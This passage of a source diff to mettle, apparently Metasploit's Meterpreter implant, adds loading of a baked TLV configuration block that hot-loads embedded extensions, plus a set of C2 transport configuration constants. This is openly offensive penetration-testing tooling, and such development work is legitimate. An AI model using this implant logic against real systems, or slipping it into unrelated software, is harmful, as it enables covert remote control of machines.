tlv_packet_iterate(&ext_it, &ext_group_len)) != NULL) { + struct tlv_packet *ext_group = tlv_packet_from_raw(TLV_TYPE_EXTENSION, ext_group_data, ext_group_len); + if (ext_group == NULL) { + continue; + } + size_t data_len = 0; + const unsigned char *ext_data = tlv_packet_get_raw(ext_group, TLV_TYPE_DATA, &data_len); + if (ext_data && data_len > 0) { + if (!extension_start_binary_image(m, "baked", ext_data, data_len, NULL)) { + log_error("Failed to hot-load baked extension"); + } + } + tlv_packet_free(ext_group); + } + + tlv_packet_free(config); + return 0; +} + /* Saves a copy of argv for setproctitle emulation */ #ifndef HAVE_SETPROCTITLE static char **saved_argv; @@ -268,9 +493,15 @@ int main(int argc, char * argv[]) } /* - * Check to see if we were injected by metasploit + * Try TLV config block first — if present, it contains all config. + * Fall back to CLI args / DEFAULT_OPTS if no config block. */ - if (argv[0] != NULL && strcmp(argv[0], "m") == 0) { + if (parse_config_block(m) == 0) { + log_info("loaded configuration from TLV config block"); + } else if (argv[0] != NULL && strcmp(argv[0], "m") == 0) { + /* + * Check to see if we were injected by metasploit + */ flags |= PAYLOAD_INJECTED; /* diff --git a/mettle/src/tlv.c b/mettle/src/tlv.c index 30501abc..41db072d 100644 --- a/mettle/src/tlv.c +++ b/mettle/src/tlv.c @@ -63,6 +63,17 @@ struct tlv_packet *tlv_packet_new(uint32_t type, int initial_len) return p; } +struct tlv_packet *tlv_packet_from_raw(uint32_t type, const void *data, size_t len) +{ + struct tlv_packet *p = malloc(sizeof(struct tlv_packet) + len); + if (p) { + p->h.type = htonl(type); + p->h.len = htonl(len + TLV_MIN_LEN); + memcpy(p->buf, data, len); + } + return p; +} + void tlv_packet_free(struct tlv_packet *p) { free(p); diff --git a/mettle/src/tlv.h b/mettle/src/tlv.h index f913dd8e..0ef61771 100644 --- a/mettle/src/tlv.h +++ b/mettle/src/tlv.h @@ -50,6 +50,8 @@ struct tlv_dispatcher; struct tlv_packet *tlv_packet_new(uint32_t type, int initial_len); +struct tlv_packet *tlv_packet_from_raw(uint32_t type, const void *data, size_t len); + bool tlv_found_first_packet(struct buffer_queue *q); struct tlv_packet * tlv_packet_read_buffer_queue(struct tlv_dispatcher *td , struct buffer_queue *q); diff --git a/mettle/src/tlv_types.h b/mettle/src/tlv_types.h index c54ebf57..b84f78d9 100644 --- a/mettle/src/tlv_types.h +++ b/mettle/src/tlv_types.h @@ -79,19 +79,6 @@ #define TLV_TYPE_MIGRATE_PID (TLV_META_TYPE_UINT | 402) #define TLV_TYPE_MIGRATE_LEN (TLV_META_TYPE_UINT | 403) -#define TLV_TYPE_TRANS_TYPE (TLV_META_TYPE_UINT | 430) -#define TLV_TYPE_TRANS_URL (TLV_META_TYPE_STRING | 431) -#define TLV_TYPE_TRANS_UA (TLV_META_TYPE_STRING | 432) -#define TLV_TYPE_TRANS_COMM_TIMEOUT (TLV_META_TYPE_UINT | 433) -#define TLV_TYPE_TRANS_SESSION_EXP (TLV_META_TYPE_UINT | 434) -#define TLV_TYPE_TRANS_CERT_HASH (TLV_META_TYPE_RAW | 435) -#define TLV_TYPE_TRANS_PROXY_HOST (TLV_META_TYPE_STRING | 436) -#define TLV_TYPE_TRANS_PROXY_USER (TLV_META_TYPE_STRING | 437) -#define TLV_TYPE_TRANS_PROXY_PASS (TLV_META_TYPE_STRING | 438) -#define TLV_TYPE_TRANS_RETRY_TOTAL (TLV_META_TYPE_UINT | 439) -#define TLV_TYPE_TRANS_RETRY_WAIT (TLV_META_TYPE_UINT | 440) -#define TLV_TYPE_TRANS_GROUP (TLV_META_TYPE_GROUP | 441) - #define TLV_TYPE_MACHINE_ID (TLV_META_TYPE_STRING | 460) #define TLV_TYPE_UUID (TLV_META_TYPE_RAW | 461) #define TLV_TYPE_SESSION_GUID (TLV_META_TYPE_RAW | 462) @@ -101,6 +88,46 @@ #define TLV_TYPE_SYM_KEY (TLV_META_TYPE_RAW | 552) #define TLV_TYPE_ENC_SYM_KEY (TLV_META_TYPE_RAW | 553) +/* + * C2/Transport configuration + */ +#define TLV_TYPE_SESSION_EXPIRY (TLV_META_TYPE_UINT | 700) +#define TLV_TYPE_EXITFUNC (TLV_META_TYPE_UINT | 701) +#define TLV_TYPE_DEBUG_LOG (TLV_META_TYPE_STRING | 702) +#define TLV_TYPE_EXTENSION (TLV_META_TYPE_GROUP | 703) +#define TLV_TYPE_C2 (TLV_META_TYPE_GROUP | 704) +#define TLV_TYPE_C2_COMM_TIMEOUT (TLV_META_TYPE_UINT | 705) +#define TLV_TYPE_C2_RETRY_TOTAL (TLV_META_TYPE_UINT | 706) +#define TLV_TYPE_C2_RETRY_WAIT (TLV_META_TYPE_UINT | 707) +#define TLV_TYPE_C2_URL (TLV_META_TYPE_STRING | 708) +#define TLV_TYPE_C2_URI (TLV_META_TYPE_STRING | 709) +#define TLV_TYPE_C2_PROXY_URL (TLV_META_TYPE_STRING | 710) +#define TLV_TYPE_C2_PROXY_USER (TLV_META_TYPE_STRING | 711) +#define TLV_TYPE_C2_PROXY_PASS (TLV_META_TYPE_STRING | 712) +#define TLV_TYPE_C2_GET (TLV_META_TYPE_GROUP | 713) +#define TLV_TYPE_C2_POST (TLV_META_TYPE_GROUP | 714) +#define TLV_TYPE_C2_HEADERS (TLV_META_TYPE_STRING | 715) +#define TLV_TYPE_C2_UA (TLV_META_TYPE_STRING | 716) +#define TLV_TYPE_C2_CERT_HASH (TLV_META_TYPE_RAW | 717) +#define TLV_TYPE_C2_PREFIX (TLV_META_TYPE_RAW | 718) +#define TLV_TYPE_C2_SUFFIX (TLV_META_TYPE_RAW | 719) +#define TLV_TYPE_C2_ENC_INBOUND (TLV_META_TYPE_UINT | 720) +#define TLV_TYPE_SESSION_FLAGS (TLV_META_TYPE_UINT | 727) +#define TLV_TYPE_C2_ENC_OUTBOUND (TLV_META_TYPE_UINT | 728) +#define TLV_TYPE_C2_ENC_UUID (TLV_META_TYPE_UINT | 729) +#define TLV_TYPE_C2_UUID_PREFIX (TLV_META_TYPE_STRING | 730) +#define TLV_TYPE_C2_UUID_SUFFIX (TLV_META_TYPE_STRING | 731) +#define TLV_TYPE_C2_PREFIX_SKIP (TLV_META_TYPE_UINT | 721) +#define TLV_TYPE_C2_SUFFIX_SKIP (TLV_META_TYPE_UINT | 722) +#define TLV_TYPE_C2_UUID_COOKIE (TLV_META_TYPE_STRING | 723) +#define TLV_TYPE_C2_UUID_GET (TLV_META_TYPE_STRING | 724) +#define TLV_TYPE_C2_UUID_HEADER (TLV_META_TYPE_STRING | 725) +#define TLV_TYPE_C2_UUID (TLV_META_TYPE_STRING | 726) + +#define C2_ENCODING_NONE 0 +#define C2_ENCODING_B64 1 +#define C2_ENCODING_B64URL 2 + /* * General */